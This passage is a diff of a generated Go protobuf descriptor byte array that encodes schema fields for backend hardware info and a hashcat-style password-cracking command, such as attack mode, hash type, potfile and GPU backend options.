0x6f, 0x6e, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x4f, 0x70, + 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, + 0x6e, 0x22, 0xa4, 0x02, 0x0a, 0x10, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x42, 0x61, 0x63, 0x6b, 0x65, + 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, + 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, + 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, + 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, + 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, + 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, + 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, + 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, + 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, + 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, + 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, + 0x46, 0x72, 0x65, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x56, 0x65, 0x72, + 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4d, 0x65, 0x74, 0x61, + 0x6c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xb9, 0x1e, 0x0a, 0x0c, 0x43, 0x72, 0x61, + 0x63, 0x6b, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x12, 0x39, 0x0a, 0x0a, 0x41, 0x74, 0x74, + 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x19, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x41, 0x74, + 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x0a, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, + 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, + 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x48, 0x61, 0x73, 0x68, 0x65, 0x73, 0x18, 0x03, + 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x48, 0x61, 0x73, 0x68, 0x65, 0x73, 0x12, 0x14, 0x0a, 0x05, + 0x51, 0x75, 0x69, 0x65, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x51, 0x75, 0x69, + 0x65, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x48, 0x65, 0x78, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, + 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x48, 0x65, 0x78, 0x43, 0x68, 0x61, 0x72, 0x73, + 0x65, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x48, 0x65, 0x78, 0x53, 0x61, 0x6c, 0x74, 0x18, 0x06, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x07, 0x48, 0x65, 0x78, 0x53, 0x61, 0x6c, 0x74, 0x12, 0x20, 0x0a, 0x0b, + 0x48, 0x65, 0x78, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x0b, 0x48, 0x65, 0x78, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x14, + 0x0a, 0x05, 0x46, 0x6f, 0x72, 0x63, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x46, + 0x6f, 0x72, 0x63, 0x65, 0x12, 0x36, 0x0a, 0x16, 0x44, 0x65, 0x70, 0x72, 0x65, 0x63, 0x61, 0x74, + 0x65, 0x64, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x09, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, 0x44, 0x65, 0x70, 0x72, 0x65, 0x63, 0x61, 0x74, 0x65, 0x64, + 0x43, 0x68, 0x65, 0x63, 0x6b, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x16, 0x0a, 0x06, + 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x74, + 0x61, 0x74, 0x75, 0x73, 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x4a, 0x53, + 0x4f, 0x4e, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, + 0x4a, 0x53, 0x4f, 0x4e, 0x12, 0x20, 0x0a, 0x0b, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x54, 0x69, + 0x6d, 0x65, 0x72, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x53, 0x74, 0x61, 0x74, 0x75, + 0x73, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x2c, 0x0a, 0x11, 0x53, 0x74, 0x64, 0x69, 0x6e, 0x54, + 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x18, 0x0d, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x11, 0x53, 0x74, 0x64, 0x69, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x41, + 0x62, 0x6f, 0x72, 0x74, 0x12, 0x28, 0x0a, 0x0f, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x6e, 0x65, 0x52, + 0x65, 0x61, 0x64, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0f, 0x4d, + 0x61, 0x63, 0x68, 0x69, 0x6e, 0x65, 0x52, 0x65, 0x61, 0x64, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x22, + 0x0a, 0x0c, 0x4b, 0x65, 0x65, 0x70, 0x47, 0x75, 0x65, 0x73, 0x73, 0x69, 0x6e, 0x67, 0x18, 0x0f, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x4b, 0x65, 0x65, 0x70, 0x47, 0x75, 0x65, 0x73, 0x73, 0x69, + 0x6e, 0x67, 0x12, 0x28, 0x0a, 0x0f, 0x53, 0x65, 0x6c, 0x66, 0x54, 0x65, 0x73, 0x74, 0x44, 0x69, + 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x10, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0f, 0x53, 0x65, 0x6c, + 0x66, 0x54, 0x65, 0x73, 0x74, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1a, 0x0a, 0x08, + 0x4c, 0x6f, 0x6f, 0x70, 0x62, 0x61, 0x63, 0x6b, 0x18, 0x11, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, + 0x4c, 0x6f, 0x6f, 0x70, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, + 0x6f, 0x76, 0x48, 0x63, 0x73, 0x74, 0x61, 0x74, 0x32, 0x18, 0x12, 0x20, 0x01, 0x28, 0x0c, 0x52, + 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x48, 0x63, 0x73, 0x74, 0x61, 0x74, 0x32, 0x12, 0x24, + 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, + 0x13, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x44, 0x69, 0x73, + 0x61, 0x62, 0x6c, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x43, 0x6c, + 0x61, 0x73, 0x73, 0x69, 0x63, 0x18, 0x14, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, + 0x6b, 0x6f, 0x76, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x69, 0x63, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, + 0x72, 0x6b, 0x6f, 0x76, 0x49, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x65, 0x18, 0x15, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x49, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x65, + 0x12, 0x28, 0x0a, 0x0f, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, + 0x6f, 0x6c, 0x64, 0x18, 0x16, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0f, 0x4d, 0x61, 0x72, 0x6b, 0x6f, + 0x76, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x75, + 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x18, 0x17, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x52, 0x75, 0x6e, + 0x74, 0x69, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, + 0x18, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, + 0x0a, 0x07, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x18, 0x19, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x07, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x52, 0x65, 0x73, 0x74, + 0x6f, 0x72, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x0e, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, + 0x12, 0x20, 0x0a, 0x0b, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x18, + 0x1b, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0b, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x46, 0x69, + 0x6c, 0x65, 0x12, 0x42, 0x0a, 0x0d, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, + 0x6d, 0x61, 0x74, 0x18, 0x1d, 0x20, 0x03, 0x28, 0x0e, 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, + 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x52, 0x0d, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, + 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x34, 0x0a, 0x15, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, + 0x65, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, + 0x1e, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x41, 0x75, + 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x2c, 0x0a, 0x11, + 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x54, 0x69, 0x6d, 0x65, + 0x72, 0x18, 0x1f, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, + 0x43, 0x68, 0x65, 0x63, 0x6b, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x36, 0x0a, 0x16, 0x57, 0x6f, + 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, + 0x61, 0x62, 0x6c, 0x65, 0x18, 0x20, 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, 0x57, 0x6f, 0x72, 0x64, + 0x6c, 0x69, 0x73, 0x74, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, + 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, + 0x21, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x6f, 0x72, + 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x64, 0x6f, 0x75, 0x74, 0x18, 0x22, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x06, 0x53, 0x74, 0x64, 0x6f, 0x75, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x68, 0x6f, 0x77, + 0x18, 0x23, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x53, 0x68, 0x6f, 0x77, 0x12, 0x12, 0x0a, 0x04, + 0x4c, 0x65, 0x66, 0x74, 0x18, 0x24, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x4c, 0x65, 0x66, 0x74, + 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x25, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, + 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x18, 0x26, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x52, 0x65, + 0x6d, 0x6f, 0x76, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x54, 0x69, + 0x6d, 0x65, 0x72, 0x18, 0x27, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x52, 0x65, 0x6d, 0x6f, 0x76, + 0x65, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x26, 0x0a, 0x0e, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, + 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x28, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, + 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x18, + 0x0a, 0x07, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x18, 0x29, 0x20, 0x01, 0x28, 0x0c, 0x52, + 0x07, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x3b, 0x0a, 0x0c, 0x45, 0x6e, 0x63, 0x6f, + 0x64, 0x69, 0x6e, 0x67, 0x46, 0x72, 0x6f, 0x6d, 0x18, 0x2a, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, + 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x0c, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, + 0x67, 0x46, 0x72, 0x6f, 0x6d, 0x12, 0x37, 0x0a, 0x0a, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, + 0x67, 0x54, 0x6f, 0x18, 0x2b, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, + 0x6e, 0x67, 0x52, 0x0a, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x54, 0x6f, 0x12, 0x1c, + 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x4d, 0x6f, 0x64, 0x65, 0x18, 0x2c, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x26, 0x0a, 0x0e, + 0x4c, 0x6f, 0x67, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x30, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x4c, 0x6f, 0x67, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, + 0x61, 0x62, 0x6c, 0x65, 0x12, 0x2c, 0x0a, 0x11, 0x48, 0x63, 0x63, 0x61, 0x70, 0x78, 0x4d, 0x65, + 0x73, 0x73, 0x61, 0x67, 0x65, 0x50, 0x61, 0x69, 0x72, 0x18, 0x31, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x48, 0x63, 0x63, 0x61, 0x70, 0x78, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x50, 0x61, - 0x69, 0x72, 0x18, 0x31, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x48, 0x63, 0x63, 0x61, 0x70, 0x78, - 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x50, 0x61, 0x69, 0x72, 0x12, 0x34, 0x0a, 0x15, 0x4e, - 0x6f, 0x6e, 0x63, 0x65, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x43, 0x6f, 0x72, 0x72, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x32, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x15, 0x4e, 0x6f, 0x6e, 0x63, - 0x65, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x43, 0x6f, 0x72, 0x72, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x12, 0x34, 0x0a, 0x15, 0x4b, 0x65, 0x79, 0x62, 0x6f, 0x61, 0x72, 0x64, 0x4c, 0x61, 0x79, - 0x6f, 0x75, 0x74, 0x4d, 0x61, 0x70, 0x70, 0x69, 0x6e, 0x67, 0x18, 0x33, 0x20, 0x01, 0x28, 0x0c, - 0x52, 0x15, 0x4b, 0x65, 0x79, 0x62, 0x6f, 0x61, 0x72, 0x64, 0x4c, 0x61, 0x79, 0x6f, 0x75, 0x74, - 0x4d, 0x61, 0x70, 0x70, 0x69, 0x6e, 0x67, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x65, 0x6e, 0x63, 0x68, - 0x6d, 0x61, 0x72, 0x6b, 0x18, 0x38, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x42, 0x65, 0x6e, 0x63, - 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, - 0x72, 0x6b, 0x41, 0x6c, 0x6c, 0x18, 0x39, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x42, 0x65, 0x6e, - 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x41, 0x6c, 0x6c, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x70, 0x65, - 0x65, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x18, 0x3a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x53, 0x70, - 0x65, 0x65, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x12, 0x22, 0x0a, 0x0c, 0x50, 0x72, 0x6f, 0x67, 0x72, - 0x65, 0x73, 0x73, 0x4f, 0x6e, 0x6c, 0x79, 0x18, 0x3b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x50, - 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x4f, 0x6e, 0x6c, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x53, - 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x3c, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x0b, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, - 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x69, 0x6e, 0x18, 0x3d, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x69, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x42, - 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x61, 0x78, 0x18, 0x3e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, - 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x61, 0x78, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x50, 0x55, - 0x41, 0x66, 0x66, 0x69, 0x6e, 0x69, 0x74, 0x79, 0x18, 0x3f, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x0b, - 0x43, 0x50, 0x55, 0x41, 0x66, 0x66, 0x69, 0x6e, 0x69, 0x74, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x48, - 0x6f, 0x6f, 0x6b, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x18, 0x40, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x0b, 0x48, 0x6f, 0x6f, 0x6b, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x12, 0x1a, 0x0a, - 0x08, 0x48, 0x61, 0x73, 0x68, 0x49, 0x6e, 0x66, 0x6f, 0x18, 0x41, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x08, 0x48, 0x61, 0x73, 0x68, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2c, 0x0a, 0x11, 0x42, 0x61, 0x63, - 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x43, 0x55, 0x44, 0x41, 0x18, 0x43, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, - 0x6f, 0x72, 0x65, 0x43, 0x55, 0x44, 0x41, 0x12, 0x2a, 0x0a, 0x10, 0x42, 0x61, 0x63, 0x6b, 0x65, - 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x48, 0x69, 0x70, 0x18, 0x44, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x10, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, - 0x48, 0x69, 0x70, 0x12, 0x2e, 0x0a, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, - 0x6e, 0x6f, 0x72, 0x65, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x18, 0x45, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4d, 0x65, - 0x74, 0x61, 0x6c, 0x12, 0x30, 0x0a, 0x13, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, - 0x6e, 0x6f, 0x72, 0x65, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x18, 0x46, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x13, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4f, - 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, - 0x49, 0x6e, 0x66, 0x6f, 0x18, 0x47, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x61, 0x63, 0x6b, - 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x26, 0x0a, 0x0e, 0x42, 0x61, 0x63, 0x6b, 0x65, - 0x6e, 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, 0x18, 0x48, 0x20, 0x03, 0x28, 0x0d, 0x52, - 0x0e, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, 0x12, - 0x2c, 0x0a, 0x11, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x54, - 0x79, 0x70, 0x65, 0x73, 0x18, 0x49, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x11, 0x4f, 0x70, 0x65, 0x6e, - 0x43, 0x4c, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x54, 0x79, 0x70, 0x65, 0x73, 0x12, 0x34, 0x0a, - 0x15, 0x4f, 0x70, 0x74, 0x69, 0x6d, 0x69, 0x7a, 0x65, 0x64, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, - 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x4a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4f, 0x70, - 0x74, 0x69, 0x6d, 0x69, 0x7a, 0x65, 0x64, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x45, 0x6e, 0x61, - 0x62, 0x6c, 0x65, 0x12, 0x34, 0x0a, 0x15, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 